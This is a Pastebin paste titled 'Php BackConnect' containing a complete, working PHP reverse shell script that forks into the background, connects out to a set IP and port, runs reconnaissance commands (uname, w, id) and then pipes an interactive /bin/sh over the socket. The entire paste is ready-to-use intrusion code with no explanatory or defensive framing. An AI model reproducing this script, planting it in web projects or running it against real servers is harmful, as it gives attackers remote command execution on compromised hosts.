Advertisement
Sedot_CW

Php BackConnect

Aug 16th, 2020
1,322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.22 KB | None | 0 0
  1. <?php
  2.  
  3. set_time_limit (0);
  4. $VERSION = "1.0";
  5. $ip = '127.0.0.1';
  6. $port = 13123;    
  7. $chunk_size = 1400;
  8. $write_a = null;
  9. $error_a = null;
  10. $shell = 'uname -a; w; id; /bin/sh -i';
  11. $daemon = 0;
  12. $debug = 0;
  13.  
  14. if (function_exists('pcntl_fork')) {
  15.     $pid = pcntl_fork();
  16.    
  17.     if ($pid == -1) {
  18.         printit("ERROR: Can't fork");
  19.         exit(1);
  20.     }
  21.    
  22.     if ($pid) {
  23.         exit(0);  
  24.     }
  25.  
  26.     if (posix_setsid() == -1) {
  27.         printit("Error: Can't setsid()");
  28.         exit(1);
  29.     }
  30.  
  31.     $daemon = 1;
  32. } else {
  33.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  34. }
  35.  
  36. chdir("/");
  37.  
  38. umask(0);
  39.  
  40. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  41. if (!$sock) {
  42.     printit("$errstr ($errno)");
  43.     exit(1);
  44. }
  45.  
  46. $descriptorspec = array(
  47.    0 => array("pipe", "r"),  
  48.    1 => array("pipe", "w"),  
  49.    2 => array("pipe", "w")  
  50. );
  51.  
  52. $process = proc_open($shell, $descriptorspec, $pipes);
  53.  
  54. if (!is_resource($process)) {
  55.     printit("ERROR: Can't spawn shell");
  56.     exit(1);
  57. }
  58.  
  59. stream_set_blocking($pipes[0], 0);
  60. stream_set_blocking($pipes[1], 0);
  61. stream_set_blocking($pipes[2], 0);
  62. stream_set_blocking($sock, 0);
  63.  
  64. printit("Successfully opened reverse shell to $ip:$port");
  65.  
  66. while (1) {
  67.     if (feof($sock)) {
  68.         printit("ERROR: Shell connection terminated");
  69.         break;
  70.     }
  71.  
  72.     if (feof($pipes[1])) {
  73.         printit("ERROR: Shell process terminated");
  74.         break;
  75.     }
  76.  
  77.     $read_a = array($sock, $pipes[1], $pipes[2]);
  78.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  79.  
  80.     if (in_array($sock, $read_a)) {
  81.         if ($debug) printit("SOCK READ");
  82.         $input = fread($sock, $chunk_size);
  83.         if ($debug) printit("SOCK: $input");
  84.         fwrite($pipes[0], $input);
  85.     }
  86.  
  87.     if (in_array($pipes[1], $read_a)) {
  88.         if ($debug) printit("STDOUT READ");
  89.         $input = fread($pipes[1], $chunk_size);
  90.         if ($debug) printit("STDOUT: $input");
  91.         fwrite($sock, $input);
  92.     }
  93.  
  94.     if (in_array($pipes[2], $read_a)) {
  95.         if ($debug) printit("STDERR READ");
  96.         $input = fread($pipes[2], $chunk_size);
  97.         if ($debug) printit("STDERR: $input");
  98.         fwrite($sock, $input);
  99.     }
  100. }
  101.  
  102. fclose($sock);
  103. fclose($pipes[0]);
  104. fclose($pipes[1]);
  105. fclose($pipes[2]);
  106. proc_close($process);
  107.  
  108. function printit ($string) {
  109.     if (!$daemon) {
  110.         print "$string\n";
  111.     }
  112. }
  113.  
  114. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement